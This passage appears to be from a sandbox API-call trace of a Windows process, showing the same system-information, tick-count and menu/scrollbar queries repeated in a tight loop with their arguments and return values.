wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.859] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.859] GetTickCount () returned 0x17fc9 [0026.859] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.859] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.859] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.859] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.860] GetTickCount () returned 0x17fc9 [0026.860] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.860] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.860] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.860] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.860] GetTickCount () returned 0x17fc9 [0026.860] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.860] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.860] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.860] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.860] GetTickCount () returned 0x17fc9 [0026.860] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.860] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.860] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.860] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.860] GetTickCount () returned 0x17fc9 [0026.860] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.860] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.860] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.860] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.860] GetTickCount () returned 0x17fc9 [0026.860] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.860] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.860] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.860] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.861] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.861] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.861] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.861] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.861] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.861] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.861] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.861] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.861] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.861] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.861] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.861] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.861] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.861] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.861] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.861] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.861] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.861] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.861] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.861] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.861] GetTickCount () returned 0x17fc9 [0026.862] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.862] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.862] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.862] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.862] GetTickCount () returned 0x17fc9 [0026.862] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.862] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.862] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.862] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.862] GetTickCount () returned 0x17fc9 [0026.862] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.862] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.862] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.862] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.862] GetTickCount () returned 0x17fc9 [0026.862] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.862] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.862] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.862] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.862] GetTickCount () returned 0x17fc9 [0026.862] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.862] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.862] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.863] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.863] GetTickCount () returned 0x17fc9 [0026.863] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.863] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.863] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.863] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.863] GetTickCount () returned 0x17fc9 [0026.863] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.863] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.863] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.863] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.863] GetTickCount () returned 0x17fc9 [0026.863] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.863] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.863] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.863] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.863] GetTickCount () returned 0x17fc9 [0026.863] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.863] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.863] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.863] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.863] GetTickCount () returned 0x17fc9 [0026.863] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.863] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.863] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.864] GetTickCount () returned 0x17fc9 [0026.864] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.864] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.864] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.864] GetTickCount () returned 0x17fc9 [0026.864] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.864] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.864] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.864] GetTickCount () returned 0x17fc9 [0026.864] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.864] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.864] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.864] GetTickCount () returned 0x17fc9 [0026.864] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.864] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.864] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.864] GetTickCount () returned 0x17fc9 [0026.864] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.864] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.864] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.864] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.865] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.865] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.865] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.865] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.865] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.865] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.865] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.865] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.865] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.865] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.865] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.865] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.865] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.865] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.865] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.865] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.865] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.865] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.865] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.865] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.865] GetTickCount () returned 0x17fc9 [0026.866] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.866] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.866] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.866] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.866] GetTickCount () returned 0x17fc9 [0026.866] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.866] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.866] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.866] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.866] GetTickCount () returned 0x17fc9 [0026.866] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.866] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.866] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.866] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.866] GetTickCount () returned 0x17fc9 [0026.866] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.866] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.866] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.866] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.866] GetTickCount () returned 0x17fc9 [0026.866] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.866] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.866] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: 